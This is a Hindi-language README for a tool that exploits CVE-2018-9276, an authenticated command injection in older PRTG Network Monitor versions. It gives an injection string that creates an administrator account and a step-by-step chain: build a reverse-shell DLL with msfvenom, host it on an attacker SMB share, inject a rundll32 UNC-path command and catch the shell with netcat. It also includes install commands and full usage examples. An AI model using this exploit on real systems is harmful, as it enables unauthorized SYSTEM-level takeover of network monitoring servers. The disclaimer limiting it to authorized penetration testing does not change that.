
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 प्रमाणित RCE। केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन परीक्षण के लिए।
⚠️ अस्वीकरण: यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है।
PRTG Network Monitor Paessler AG द्वारा विकसित एक नेटवर्क निगरानी उपकरण है। 18.2.39 से पहले के संस्करण अधिसूचना सुविधा के माध्यम से प्रमाणित कमांड इंजेक्शन के प्रति भेद्य हैं, जिससे मान्य क्रेडेंशियल रखने वाला हमलावर Local System (PRTG इंस्टॉलेशन के लिए डिफ़ॉल्ट सेवा खाता) के रूप में रिमोट कोड निष्पादन (RCE) प्राप्त कर सकता है।
यह भेद्यता Josh Berry द्वारा एक पैठ परीक्षण के दौरान खोजी गई थी और Paessler AG को सूचित की गई थी, जिन्होंने 20 अप्रैल 2018 को एक पैच जारी किया। इसे CVE-2018-9276 निर्दिष्ट किया गया था।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2018-9276 |
| प्रभावित | PRTG Network Monitor < 18.2.39 |
| प्रकार | प्रमाणित कमांड इंजेक्शन |
| विशेषाधिकार | मान्य PRTG क्रेडेंशियल की आवश्यकता होती है |
| प्रभाव | Local System के रूप में रिमोट कोड निष्पादन |
| CVSS स्कोर | 7.2 (उच्च) |
| पैच | PRTG 18.2.39 (20 अप्रैल 2018 को जारी) |
PRTG में एक अधिसूचना प्रणाली शामिल है जो व्यवस्थापकों को कुछ घटनाओं के घटित होने पर स्क्रिप्ट चलाने की अनुमति देती है। मनमाने कोड निष्पादन को रोकने के लिए, PRTG यह प्रतिबंधित करता है कि केवल सर्वर पर एक विशिष्ट निर्देशिका में स्थित स्क्रिप्ट ही चलाई जा सकती हैं। डिफ़ॉल्ट रूप से, केवल दो डेमो स्क्रिप्ट उपलब्ध हैं:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1PowerShell डेमो स्क्रिप्ट (OutFile.ps1) किसी अधिसूचना के पैरामीटर फ़ील्ड से मान को बिना किसी सैनिटाइज़ेशन के सीधे स्क्रिप्ट में पास करती है। यह अर्धविराम के बाद मनमाने PowerShell कमांड जोड़कर इंजेक्ट करना संभव बनाता है:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
जब PRTG अधिसूचना निष्पादित करता है, तो इंजेक्ट किया गया कमांड Local System विशेषाधिकारों के साथ चलता है।
नोट: बैच स्क्रिप्ट (
OutFile.bat) भेद्य नहीं है — Paessler बैच फ़ाइल में पास करने से पहले इनपुट को सैनिटाइज़ करता प्रतीत होता है। इंजेक्शन केवल.ps1स्क्रिप्ट के माध्यम से काम करता है।
यह शोषण निम्नलिखित चरणों को स्वचालित करता है:
1. सर्वर संस्करण जाँचें → पुष्टि करें कि लक्ष्य भेद्य है
2. प्रमाणीकरण करें → एक मान्य सत्र कुकी प्राप्त करें
3. फ़ाइल अधिसूचना तैयार करें → लक्ष्य पर एक लिखने योग्य आउटपुट फ़ाइल आरंभ करें
4. फ़ाइल अधिसूचना ट्रिगर करें → इसे /api/notificationtest.htm के माध्यम से निष्पादित करें
5. रिवर्स शेल DLL उत्पन्न करें → msfvenom (windows/shell_reverse_tcp)
6. DLL होस्ट करें → हमलावर मशीन से SMB के माध्यम से सर्व करें
7. कमांड अधिसूचना तैयार करें → आउटपुट फ़ाइल के बाद rundll32.exe <UNC_PATH>,0 इंजेक्ट करें
8. कमांड अधिसूचना ट्रिगर करें → लक्ष्य पर DLL निष्पादित करें
9. रिवर्स शेल पकड़ें → nc -nvlp <LPORT>
PRTG केवल अपनी स्थापना निर्देशिका में स्थित स्क्रिप्ट को अधिसूचना के रूप में चलाने की अनुमति देता है, इसलिए हम केवल एक मनमाना बाइनरी अपलोड करके निष्पादित नहीं कर सकते। इसके बजाय, हम:
.dll फ़ाइल के रूप में उत्पन्न करने के लिए msfvenom का उपयोग करते हैं।.dll को हमलावर मशीन पर एक SMB शेयर पर होस्ट करते हैं।rundll32.exe \\attacker\share\payload.dll,0 कमांड इंजेक्ट करते हैं।rundll32.exe एक UNC पथ से DLL लोड और निष्पादित कर सकता है, जिससे यह प्रतिबंध समाप्त हो जाता है कि PRTG किन फ़ाइलों को सीधे निष्पादित कर सकता है।
msfvenom (Metasploit Framework का भाग)netcat (nc)impacket — केवल अंतर्निहित SMB सर्वर के लिए आवश्यक (वैकल्पिक, --no-smb देखें)pip install impacket
यदि आपके पास DLL होस्ट करने का कोई तरीका पहले से है (जैसे
impacket-smbserver, Metasploit काexploit/multi/handler, या कोई अन्य SMB सर्वर), तो आप--no-smbऔर--shell-locationका उपयोग करके impacket को पूरी तरह से छोड़ सकते हैं।
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # only impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Target IP or hostname
-p, --port Target port (e.g. 80 or 443)
--lhost Local IP for the reverse shell callback
--lport Local port for the reverse shell callback
--user PRTG username (default: prtgadmin)
--password PRTG password (default: prtgadmin)
--https Use HTTPS (self-signed certificates accepted)
--no-smb Skip the built-in SMB server (payload already hosted)
--shell-location Override the UNC path to the DLL payload
-v, --verbose Enable verbose / debug output
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support
# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) शोषण की बाधा को नाटकीय रूप से कम कर देते हैं।